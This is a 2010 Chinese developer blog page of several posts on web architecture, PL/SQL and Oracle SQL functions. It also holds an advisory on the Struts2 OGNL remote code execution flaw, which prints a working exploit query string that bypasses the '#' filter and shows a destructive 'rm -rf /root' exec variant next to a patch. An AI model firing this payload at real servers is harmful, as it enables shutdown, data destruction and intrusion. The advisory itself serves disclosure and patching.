充分利用开源框架,可以大大提高开发效率。很多初级开发者,都采用DB+JavaBean+JSP这种初级的开发模式,而现在主要使用StrutsSpringMVC开发框架。

常用开发框架构选型有:

StrutsSpringWebwork等。

天极传媒选择的开发框架是:Struts+Spring+iBatis,在这个开发框架里,充分利用了StrutsSpring各自己的优点,可以选择Stuts MVC,也可以选择Spring MVC


21 分级存储

1)数据库数据分级存储:

将经常访问的数据和访问频度低的数据,分别存放到不同的分区,甚至存放到不同的数据库服务器,以便合进分配硬盘I/O及系统I/O

2)网站内容发布之后,分级存储:

任何一个大型的网站,一般都有海量的内容,为了提高访问效率,应搭建分级存储体系,根据应用的重要性和访问并发要求,将这些内容分级存储,同时将静态内容中的静态页面文件、图片文件、下载文件分不同的Web服务器访问,降低I/O争用,提高访问效率,同时让数据存储、管理、备份更加清晰。


22 页面静态化

一个大型网站,既有静态内容,也有动态内容。静态内容,直接通过Apache或者Squid访问,效率高,稳定可靠,更多的是受服务器等硬件设备的I/O吞吐量、网络环境及页面代码本身质量限制,不受应用系统及数据库性能限制,这些内容往往访问速度和效率不会有较大的问题。

而动态内容,除了受硬件设备I/O、操作系统I/O及内容、网络环境及页面代码的影响,还要受应用服务器和数据库性能影响,因此,这部份内容,要尽可能作静态化或者伪静态,并采用缓存技术,将其缓存,以减少对应用服务器和数据库服务器的操作次数,提高用户访问效率和稳定性。


23 缓存策略

对于构建的业务系统,如果有些数据要经常要从数据库中读取,同时,这些数据又不经常变化,这些数据就可以在系统中缓存起来,使用时直接读取缓存,而不用频繁的访问数据库读取数据。
缓存工作可以在系统初始化时一次性读取数据,特别是一些只读的数据,当数据更新时更新数据库内容,同时更新缓存的数据值。

例如:在CMS2005系统中,我们将很少发生变化的网站节点树数据,缓存在客户端,当用户登录时,一次性读入到客户端缓存起来,以后编辑在使用时,不用再从数据库中读取,大大提高了应用系统的访问速度。

当然,也可以将数据库中重复访问的数据缓存在应用服务器内存中,减少对数据库的访问次数,Java常用的缓存技术产品有:MemoryCacheOSCache等。

posted @ 2010-08-09 17:16 junly 阅读(4787) | 评论 (0)编辑 收藏
<html>   
    <head>
   <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />        
        <script type=text/javascript src=http://fw.qq.com/ipaddress></script>
   <script type=text/javascript>
    document.write("当前ip:"+IPData[0]+",省份:"+IPData[2]+",城市:"+IPData[3]);
   </script>
    </head>   
    <body>
    </body>
</html>
posted @ 2010-08-02 17:04 junly 阅读(1201) | 评论 (0)编辑 收藏
最近发现 struts 2的这个严重安全漏洞,在http://www.javaeye.com/topic/720209中已经有所表述,主要是OGNL的问题,摘录如下:
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。


目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }
posted @ 2010-07-30 18:15 junly 阅读(5489) | 评论 (3)编辑 收藏
--SQL游标
--
游标:是指向上下文区的指针
/*
  1 隐含游标
    隐含游标又称SQL游标,专门用于处理SELECT INTO,INSERT,UPDATE及DELETE语句,当在PL/SQL中执行
    INSERT,UPDATE及DELETE时,为取得DML语句作用的结果,必须要使用SQL游标属性,SQL游标包括sql%found,
    sql%notfound,sql%rowcount,sql%isopen四个属性。
    (1)sql%isopen 用日元确定SQL游标是否已经打开,当执行SELECT INTO,INSERT,UPDATE及DELETE语句时会隐
         含打开游标,并且在执行完成后隐含关闭游标。所以对于开发人员该属性永远为false,不需要使用该属性。
    (2)sql%found/sql%notfound 用于确定SQL语句执行是否成功。
         SQL语句执行是否成功根据是否有作用来判断,当SQL语句有作用时,sql%found属性值为TRUE(sql%notfound属性值为FALSE);否则反之。
*/

         
declare
           v_name user_info.name
%type := 'junly';
         
begin
           
update user_info set money = money*1.1
           
where name=v_name;
           
if sql%found then
             dbms_output.put_line(
'语句执行成功');
           
else
             dbms_output.put_line(
'用户名不存在');
           
end if;
         
end;
--   (3)sql%rowcount 返回SQL语句作用的总计行数
         declare
           v_name user_info.name
%type := 'junly';
         
begin
           
update user_info set money = money*1.1
           
where name=v_name;
           dbms_output.put_line(
'修改了'||sql%rowcount||'');
         
end;
/*2 显式游标
       用于处理SELECT语句
*/
posted @ 2010-07-29 17:13 junly 阅读(358) | 评论 (0)编辑 收藏
--控制语句
--
if
if condition then 
  statements;
elsif condition 
then
  statements;
else
  statements;
end if;
--case
case v_no
when 10 then
  statements;
when 20 then
  statements;
when 30 then
  statements;
else
  statements;
end case;
--------------
case 
when v_no>30 then
  statements;
when v_no>20 then
  statements;
when v_no>10 then
  statements;
end case;
--loop
loop
  statements;
  
  
exit when condition;
end loop;
--while
while condition loop
  statements;
  
end loop;
--for
for i in [reverse]
v_start..v_end loop
  statements;
end loop;
--i是循环控制变量,不需要显式定义,v_start,v_end分别为下界值和上界值。如果指定reverse则循环变量自动减一。
begin
  
for i in reverse 1..10 loop
    dbms_output.put_line(i);
  
end loop;
end;
--10,9,8,7,6,5,4,3,2,1
--
嵌套循环
declare
  result 
int;
begin
    
<<outer>>
    
for i in 1..10 loop
      
<<inner>>
      
for j in 1..10 loop
        result:
=i*j;
        
exit outer when i=9;
        dbms_output.put_line(i
||j);
      
end loop inner;
    
end loop outer;
end;
posted @ 2010-07-29 17:12 junly 阅读(338) | 评论 (0)编辑 收藏

数字函数

1.1、ABS(n)函数
描述:返回数值n的绝对值。

Examples:select abs(-15) “test” from dual;

1.2、ACOS(n)函数
描述:返回数值n的反余弦值。输入数值范围在-1~1之间,返回值为弧度。

Examples:select acos(0.6) “test”,acos(-.6) “test1” from dual;

1.3、COS(n)函数
描述: 返回数值n的余弦值。返回值为弧度。

Examples:select cos(1.6) “test”,cos(-6) “test1” from dual;

1.4、SIN(n)函数
描述: 返回数值n的正弦值。

Examples:select sin(1.6) “test”,sin(-6) “test1” from dual;

1.5、ASIN(n)函数
描述: 返回数值n的反正弦值。输入数值范围在-1~1之间,返回值为弧度。

Examples:select asin(0.6) “test”,asin(-0.6) “test1” from dual;

1.6、TAN(n)函数
描述: 返回数值n的正切值。

Examples:select tan(6) “test”,tan(-0.6) “test1” from dual;

1.7、ATAN(n)函数
描述: 返回数值n的反正切值。输入数值任意,返回值为弧度。

Examples:select atan(6) “test”,atan(-0.6) “test1” from dual;

1.8、ATAN2(n,m)函数
描述: 返回数值n/m的反正切值。输入数值任意,返回值为弧度。

Examples:select atan2(19,3) “test”,atan2(-9,-0.9) “test1” from dual;

1.9、SINH(n)函数
描述: 返回数值n的双曲正弦值。输入数值任意。

Examples:select sinh(6) “test”,sinh(-0.6) “test1” from dual;

1.10、TANH(n)函数
描述: 返回数值n的双曲正切值。输入数值任意。

Examples:select tanh(6) “test”,tanh(-0.6) “test1” from dual;

1.11、CEIL(n)函数
描述: 返回大于等于数值n的最小整数。

Examples:select ceil(6) “test”,ceil(6.6) “test1” from dual;

1.12、COSH(n)函数
描述: 返回数值n的双曲余弦值。

Examples:select cosh(6) “test”,cosh(6.6) “test1” from dual;

1.13、EXP(n)函数
描述: 返回e的n次冥。(e=2.71828183…)

Examples:select exp(6) “test” from dual;

1.14、FLOOR(n)函数
描述: 返回小于等于数值n的最大整数。

Examples:select floor(6) “test”,floor(9.3) “test1” from dual;

1.15、LN(n)函数
描述: 返回数值n的自然对数。(n必须大于0)

Examples:select ln(6) “test” from dual;

1.16、LOG(m,n)函数
描述: 返回以m为底的数值n的对数。(m>1,n>0)

Examples:select log(6,3) “test” from dual;

1.17、MOD(m,n)函数
描述: 返回m/n后的余数,若n=0,则返回m(求模运算)

Examples:select mod(6,3) “test” from dual;

1.18、POWER(m,n)函数
描述: 返回m的n次冥

Examples:select power(6,3) “test” from dual;

1.19、ROUND(n,[m])函数
描述: 执行四舍五入运算,m可以省略,当省略m时,四舍五入到整数位;当m为正数时,四舍五入到小数点后m位;当m为负数时,四舍五入到小数点前m位。

Examples:select round(6.698,2) “test” from dual;

1.20、SIGN(n)函数
描述: 检测数值的正负,当n<0则返回-1;当n>0则返回1,当n=0返回0。

Examples:select sign(6.698) “test”,sign(-9) “test1”,sign(0) “test2” from dual;

1.21、SQRT(n)函数
描述: 返回数值n的平方根。(n>=0)

Examples:select sqrt(6.698) “test” from dual;

1.22、TRUNC(n,[m])函数
描述: 截取数值n,m可以省略,当省略m时则截取n的小数部分;当m为正数时则将n截取到小数点后m位;当m为负数时则将n截取到小数点前m位

Examples:select trunc(6.698,2) “test”,trunk(696.3,-2) “test1” from dual;

字符函数


说明:字符函数输入值为字符类型,返回值为字符类型或数字类型,可以在sql语句中直接使用,也可以在pl/sql块中使用。

2.1、ASCII(n)函数
描述: 返回字符串的ascii码(当输入为字符串时返回第一个字符的ascii码)

Examples:select ascii(‘A’) “test”,ascii(‘我们’) “test1” from dual;

2.2、CHR(n)函数
描述: 返回对应的ascii码的字符(n必须为数字类型)

Examples:select ascii(54992) “test” from dual;

2.3、CONCAT(n,m)函数
描述: 连接n和m,n和m可以是字符,也可以是字符串。作用和”||”一样。

Examples:select concat(‘中国’,’人民’) “test” from dual;

2.4、INITCAP(n)函数
描述: 将字符串n中每个单词首字母大写,其余小写(区分单词的规则是按空格或非字母字符;可以输入中文字符,但没有任何作用)

Examples:select initcap(‘中 国 人 民’) “test”,initcap(‘my word’) “test1”,initcap(‘my中国word’) “test2” from dual;

2.5、INSTR(chr1,chr2,[n,[m]])函数
描述: 获取字符串chr2在字符串chr1中出现的位置。n和m可选,省略是默认为1;n代表开始查找的起始位置,当n为负数从尾部开始搜索;m代表字串出现的次数。

Examples:select instr('pplkoopijk','k',-1,1) “test” from dual;

备注:当n为负数从尾部搜索,但返回值仍然是按正向排列得出的位置。

2.6、LENGTH(n)函数
描述: 返回字符或字符串长度。(当n为null时,返回nll;返回的长度包括后面的空格)

Examples:select length('ppl ') “test”,length(null) “test1” from dual;

2.7、LOWER(n)函数
描述: 将n转换为小写。

Examples:select lower('KKKD') “test” from dual;

2.8、LPAD(chr1,n,[chr2])函数
描述: 在chr1左边填充字符chr2,使得字符总长度为n。chr2可选,默认为空格;当chr1字符串长度大于n时,则从左边截取chr1的n个字符显示。

Examples:select lpad('kkk',5) “test”,lpad(‘kkkkk’,4) “test1”,lpad(‘kkk’,6,’lll’) “test2” from dual;

2.9、LTRIM(chr,[n])函数
描述: 去掉字符串chr左边包含的n字符串中的任何字符,直到出现一个不包含在n中的字符为止。

Examples:select ltrim('abcde',’a’) “test”,ltrim(‘abcde’,’b’) “test1”,ltrim(‘abcdefg’,’cba’) “test2” from dual;

2.10、NLS_INITCAP(chr,[’nls_param’])函数
描述: 将chr首字母大写。Nls_param可选,指定排序的方式。(有SCHINESE_RADICAL_M(部首、笔画),SCHINESE_STROKE_M(笔画、部首),SCHINESE_PINYIN_M(拼音))

Examples:select nls_initcap('ab cde') “test”,nls_initcap(‘a b c d e’,’nls_sort= SCHINESE_PINYIN_M’) “test1” from dual;

2.11、NLS_LOWER(chr,[‘nls_param’])函数
描述: 将字符串转换为小写。Nls_param可选,指定排序的方式。(有SCHINESE_RADICAL_M(部首、笔画),SCHINESE_STROKE_M(笔画、部首),SCHINESE_PINYIN_M(拼音))

Examples:select nls_lower('ABC') “test”,nls_lower(‘ABC’,’nls_sort= SCHINESE_PINYIN_M’) “test1” from dual;

2.12、NLSSORT(col,[’nls_param’])函数
描述: 根据nls_param指定的方式对col字段进行排序。

Examples:SELECT part_number FROM cux_om_part_all ORDER BY nlssort(part_number,'nls_sort=SCHINESE_RADICAL_M')

2.13、NLS_UPPER(chr,[‘nls_param’])函数
描述: 将chr转换为大写。Nls_param可选,用于指定排序规则

Examples:SELECT nls_upper('ddddd','nls_sort=xdanish') FROM dual

2.14、REGEXP_REPLACE(source_string,pattern,replace_string,position,occurtence,match_parameter)函数(10g新函数)
描述:字符串替换函数。相当于增强的replace函数。Source_string指定源字符表达式;pattern指定规则表达式;replace_string指定用于替换的字符串;position指定起始搜索位置;occurtence指定替换出现的第n个字符串;match_parameter指定默认匹配操作的文本串。

其中replace_string,position,occurtence,match_parameter参数都是可选的。

2.15、REGEXP_SUBSTR(source_string, pattern[,position [, occurrence[, match_parameter]]])函数(10g新函数)
描述:返回匹配模式的子字符串。相当于增强的substr函数。Source_string指定源字符表达式;pattern指定规则表达式;position指定起始搜索位置;occurtence指定替换出现的第n个字符串;match_parameter指定默认匹配操作的文本串。

其中position,occurtence,match_parameter参数都是可选的

Examples:select regexp_substr(‘http://www.oracle.com/products’,’http://([[:alnum:]]+\.?) {3,4} / ?’) “regexp_substr” from dual

2.16、REGEXP_LIKE(source_string, pattern
[, match_parameter])函数(10g新函数)
描述:返回满足匹配模式的字符串。相当于增强的like函数。Source_string指定源字符表达式;pattern指定规则表达式;match_parameter指定默认匹配操作的文本串。

其中position,occurtence,match_parameter参数都是可选的

Examples:

2.17、REGEXP_INSTR(source_string, pattern
[, start_position
[, occurrence
[, return_option
[, match_parameter]]]])函数(10g新函数)

描述: 该函数查找 pattern ,并返回该模式的第一个位置。您可以随意指定您想要开始搜索的 start_position。 occurrence 参数默认为 1,除非您指定您要查找接下来出现的一个模式。return_option 的默认值为 0,它返回该模式的起始位置;值为 1 则返回符合匹配条件的下一个字符的起始位置

Examples:

 

附注:上面红色标题的四个函数是oracle 10g才有的函数,使用正则表达式可以实现很强大的功能。鉴于变化太多,可以参考oracle的官方文档:SQL Reference(第七章)
2.18、REPLACE(chr,search_string,[,replacement_string])函数
描述:将chr中满足search_string条件的替换为replacement_string指定的字符串,当search_string为null时,返回chr;当replacement_string为null时,返回chr中截取掉search_string部分的字符串。

Examples: SELECT REPLACE('abcdeef','e','oo') "test",REPLACE('abcdeef','ee','oo') "test1",REPLACE('abcdeef',NULL,'oo') "test2",REPLACE('abcdeef','ee',NULL) "test3" FROM dual

2.19、RPAD(chr1,n,chr2)函数
描述:在chr1右边填充chr2,使返回字符串长度为n..当chr1长度大于n时,返回左端n个字符。参考LPAD()函数。

2.20、RTRIM(chr,[set])函数
描述:去掉chr右边包含的set中的任何字符,直到出现一个不是set中的字符结束。参考LTRIM()函数。

2.21、SOUNDEX(chr)函数
描述:返回字符串的语音表示,可以用来比较字符串的发音是否相同。

Examples:select soundex(‘ship’) “test”,soundex(‘sleep’) “test1” from dual;

2.22、SUBSTR(chr,m[,n])函数
描述:取chr的子串。M代表开始位置,n是要取的长度。当m为0时从首字符开始,当m为负时从字符串尾部开始截取。

Examples:select substr(‘abcdef’,0,3) “test”,substr(‘abcdef’,1,3) “test1”,substr(‘abcdef’,-3,3) “test2”,substr(‘abcdef’,-1,3) “test3” from dual

注意:m取0或1时,开始位置是一样的,都是从第一位开始,m为负的时候,仍然是按从左到右的顺序取,所以如果m为-1,n的长度再大,也只能取到最后一个字符,因为chr右边已经没有字符了。

2.23、TRANSLATE(chr,from_str,to_str)函数
描述:另一种替换函数的用法。

Examples: SELECT translate('abcdeabc','abc','fgh') "test",translate('abcdeabc','abc','hf') "test1",translate('abcdeabc','ab','hfgh') "test2",translate('abcdeabc','abc',' ') "test3" FROM dual

注意:匹配的规则是from_str和to_str每个字符按顺序相对应,如果from_str字符少于to_str中的字符,则只替换能对应的字符,to_str后面不能和from_str对应的字符则不管,如果from_str字符多于to_str字符,则from_str中找不到对应字符按照null来处理。

2.24、TRIM(chr)函数
TRIM函数将字符串的前缀(或尾随)字符删除。

其具体的语法格式如下:

TRIM([LEADING|TRAILING|BOTH][trimchar FROM] string)

其中:

LEADING 指明仅仅将字符串的前缀字符删除

TRAILING 指明仅仅将字符串的尾随字符删除

BOTH 指明既删除前缀字符,也删除尾随字符。这也是默认方式

string 任意一待处理字符串

trimchar 可选项。指明试图删除什么字符,默认被删除的字符是空格

下面是该函数的使用情况:

TRIM(’ Ashley ’)=‘Ashley’

TRIM(LEADING ’*’ FROM’***Ashley***’)=‘Ashley***’

2.25、UPPER(chr)函数
UPPER函数间返回字符串的大写形式。

其具体的语法格式如下:

UPPER(string)

其中:

string 任意VARCHAR2或CHAR型字符串

下面是该函数的使用情况:

UPPER(’THIS IS a Test’)=‘THIS IS A TEST’

日期函数

3.1、add_months(d,n)
说明:用于从一个日期值增加或减少一些月份,d代表一个日期,n为正数则代表在d日期 上增加n月份,n为负数则代表在d日期上减少n月
例:select add_months(sysdate,12) "Next Year" from dual;
3.2、current_date()

说明:返回当前会话时区中的当前日期时间
alter session set time_zone=’-11:00’(更改当前会话时区命令)
例:select sessiontimezone,current_date from dual;
3.3、dbtimezone()

说明:返回数据库实例时区
select dbtimezone from dual;
3.4、extract()

说明:显示指定格式的日期值。
select extract(month from sysdate) "This Month" from dual;
select extract(year from add_months(sysdate,36)) "3 Years Out" from dual;
3.5、last_day()

说明:返回包含了日期参数的月份的最后一天的日期
select last_day(sysdate) "last" from dual;
3.6、months_between(d1,d2)

说明:返回d1和d2两个月份之间相差的月数,若d1<d2,返回负数;d1>d2,返回正数;若d1和d2都是月底或者天数相同,则返回整数,否则以每月31天为基准数返回小数。
select months_between(to_date('2007-01-31','yyyy-mm-dd'),to_date('2006-11-30','yyyy-mm-dd')) from dual;
3.7、next_day(d,varchar2)

说明:返回日期d指定的在日期d之后的第一个工作日;

SELECT next_day(SYSDATE,'星期四') FROM dual;

Select next_day(sysdate,’monday’) from dual; 错误,不能使用英文单词

返回当前日期后的第一个星期四的日期。若当前日期已经是星期四或过了星期四,则返回下周的星期四对应的日期,否则返回本周星期四的日期。

注意:varchar2指定工作日的时候和当前数据库实例的参数设置有关,字符串需要用中文写,如果中文不行,就使用英文星期代表。

3.8、round(d,fmt)
说明:返回日期时间的四舍五入结果。如果fmt指定年,则以7月1日为分界;如果指定月,则以16日为分界;关于按天来四舍五入,在测试时无法理解(资料上解释按天的时候是以中午12:00为分界)

Select round(sysdate,’month’) from dual;

3.9、trunc(d,fmc)
说明:按照指定的格式截断日期,如果指定格式为年,则结果为本年1月1日,如果格式指定为月,则结果为本月1日,关于格式指定为天还未理解。

SELECT trunc(SYSDATE,'month') FROM dual;

3.10、sysdate

应用:
1. 日期和字符转换函数用法(to_date,to_char)

select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') as nowTime from dual; //日期转化为字符串
select to_char(sysdate,'yyyy') as nowYear from dual; //获取时间的年
select to_char(sysdate,'mm') as nowMonth from dual; //获取时间的月
select to_char(sysdate,'dd') as nowDay from dual; //获取时间的日
select to_char(sysdate,'hh24') as nowHour from dual; //获取时间的时
select to_char(sysdate,'mi') as nowMinute from dual; //获取时间的分
select to_char(sysdate,'ss') as nowSecond from dual; //获取时间的秒


select to_date('2004-05-07 13:23:44','yyyy-mm-dd hh24:mi:ss') from dual//

2. select to_char( to_date(222,'J'),'Jsp') from dual

显示Two Hundred Twenty-Two

3.求某天是星期几
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day') from dual;
星期一
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;
monday
设置日期语言
ALTER SESSION SET NLS_DATE_LANGUAGE='AMERICAN';
也可以这样
TO_DATE ('2002-08-26', 'YYYY-mm-dd', 'NLS_DATE_LANGUAGE = American')

4. 两个日期间的天数
select floor(sysdate - to_date('20020405','yyyymmdd')) from dual;

5. 时间为null的用法
select id, active_date from table1
UNION
select 1, TO_DATE(null) from dual;

注意要用TO_DATE(null)

6.月份差
a_date between to_date('20011201','yyyymmdd') and to_date('20011231','yyyymmdd')
那么12月31号中午12点之后和12月1号的12点之前是不包含在这个范围之内的。
所以,当时间需要精确的时候,觉得to_char还是必要的

7. 日期格式冲突问题
输入的格式要看你安装的ORACLE字符集的类型, 比如: US7ASCII, date格式的类型就是: '01-Jan-01'
alter system set NLS_DATE_LANGUAGE = American
alter session set NLS_DATE_LANGUAGE = American
或者在to_date中写
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;
注意我这只是举了NLS_DATE_LANGUAGE,当然还有很多,
可查看
select * from nls_session_parameters
select * from V$NLS_PARAMETERS
8.
select count(*)
from ( select rownum-1 rnum
from all_objects
where rownum <= to_date('2002-02-28','yyyy-mm-dd') - to_date('2002-
02-01','yyyy-mm-dd')+1
)
where to_char( to_date('2002-02-01','yyyy-mm-dd')+rnum-1, 'D' )
not in ( '1', '7' )

查找2002-02-28至2002-02-01间除星期一和七的天数
在前后分别调用DBMS_UTILITY.GET_TIME, 让后将结果相减(得到的是1/100秒, 而不是毫秒).

9. 查找月份
select months_between(to_date('01-31-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) "MONTHS" FROM DUAL;
1
select months_between(to_date('02-01-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) "MONTHS" FROM DUAL;
1.03225806451613

10. Next_day的用法
Next_day(date, day)

Monday-Sunday, for format code DAY
Mon-Sun, for format code DY
1-7, for format code D

11
select to_char(sysdate,'hh:mi:ss') TIME from all_objects
注意:第一条记录的TIME 与最后一行是一样的
可以建立一个函数来处理这个问题
create or replace function sys_date return date is
begin
return sysdate;
end;

select to_char(sys_date,'hh:mi:ss') from all_objects;

12.获得小时数
extract()找出日期或间隔值的字段值
SELECT EXTRACT(HOUR FROM TIMESTAMP '2001-02-16 2:38:40') from offer
SQL> select sysdate ,to_char(sysdate,'hh') from dual;

SYSDATE TO_CHAR(SYSDATE,'HH')
-------------------- ---------------------
2003-10-13 19:35:21 07

SQL> select sysdate ,to_char(sysdate,'hh24') from dual;

SYSDATE TO_CHAR(SYSDATE,'HH24')
-------------------- -----------------------
2003-10-13 19:35:21 19


13.年月日的处理
select older_date,
newer_date,
years,
months,
abs(
trunc(
newer_date-
add_months( older_date,years*12+months )
)
) days

from ( select
trunc(months_between( newer_date, older_date )/12) YEARS,
mod(trunc(months_between( newer_date, older_date )),12 ) MONTHS,
newer_date,
older_date
from (
select hiredate older_date, add_months(hiredate,rownum)+rownum newer_date
from emp
)
)

14.处理月份天数不定的办法
select to_char(add_months(last_day(sysdate) +1, -2), 'yyyymmdd'),last_day(sysdate) from dual

16.找出今年的天数
select add_months(trunc(sysdate,'year'), 12) - trunc(sysdate,'year') from dual

闰年的处理方法
to_char( last_day( to_date('02' | | :year,'mmyyyy') ), 'dd' )
如果是28就不是闰年

17.yyyy与rrrr的区别
'YYYY99 TO_C
------- ----
yyyy 99 0099
rrrr 99 1999
yyyy 01 0001
rrrr 01 2001

18.不同时区的处理
select to_char( NEW_TIME( sysdate, 'GMT','EST'), 'dd/mm/yyyy hh:mi:ss') ,sysdate
from dual;

19.5秒钟一个间隔
Select TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300) * 300,'SSSSS') ,TO_CHAR(sysdate,'SSSSS')
from dual

2002-11-1 9:55:00 35786
SSSSS表示5位秒数

20.一年的第几天
select TO_CHAR(SYSDATE,'DDD'),sysdate from dual

310 2002-11-6 10:03:51

21.计算小时,分,秒,毫秒
select
Days,
A,
TRUNC(A*24) Hours,
TRUNC(A*24*60 - 60*TRUNC(A*24)) Minutes,
TRUNC(A*24*60*60 - 60*TRUNC(A*24*60)) Seconds,
TRUNC(A*24*60*60*100 - 100*TRUNC(A*24*60*60)) mSeconds
from
(
select
trunc(sysdate) Days,
sysdate - trunc(sysdate) A
from dual
)

select * from tabname
order by decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');

//
floor((date2-date1) /365) 作为年
floor((date2-date1, 365) /30) 作为月
d(mod(date2-date1, 365), 30)作为日.

23.next_day函数 返回下个星期的日期,day为1-7或星期日-星期六,1表示星期日
next_day(sysdate,6)是从当前开始下一个星期五。后面的数字是从星期日开始算起。
1 2 3 4 5 6 7
日 一 二 三 四 五 六

---------------------------------------------------------------

select (sysdate-to_date('2003-12-03 12:55:45','yyyy-mm-dd hh24:mi:ss'))*24*60*60 from ddual
日期 返回的是天 然后 转换为ss

24,round[舍入到最接近的日期](day:舍入到最接近的星期日)
select sysdate S1,
round(sysdate) S2 ,
round(sysdate,'year') YEAR,
round(sysdate,'month') MONTH ,
round(sysdate,'day') DAY from dual

25,trunc[截断到最接近的日期,单位为天] ,返回的是日期类型
select sysdate S1,
trunc(sysdate) S2, //返回当前日期,无时分秒
trunc(sysdate,'year') YEAR, //返回当前年的1月1日,无时分秒
trunc(sysdate,'month') MONTH , //返回当前月的1日,无时分秒
trunc(sysdate,'day') DAY //返回当前星期的星期天,无时分秒
from dual

26,返回日期列表中最晚日期
select greatest('01-1月-04','04-1月-04','10-2月-04') from dual

27.计算时间差
注:oracle时间差是以天数为单位,所以换算成年月,日

select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))/365) as spanYears from dual //时间差-年
select ceil(moths_between(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanMonths from dual //时间差-月
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanDays from dual //时间差-天
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24) as spanHours from dual //时间差-时
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60) as spanMinutes from dual //时间差-分
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60*60) as spanSeconds from dual //时间差-秒

28.更新时间
注:oracle时间加减是以天数为单位,设改变量为n,所以换算成年月,日
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n*365,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-年
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),add_months(sysdate,n) as newTime from dual //改变时间-月
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-日
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-时
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-分
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-秒

29.查找月的第一天,最后一天
SELECT Trunc(Trunc(SYSDATE, 'MONTH') - 1, 'MONTH') First_Day_Last_Month,
Trunc(SYSDATE, 'MONTH') - 1 / 86400 Last_Day_Last_Month,
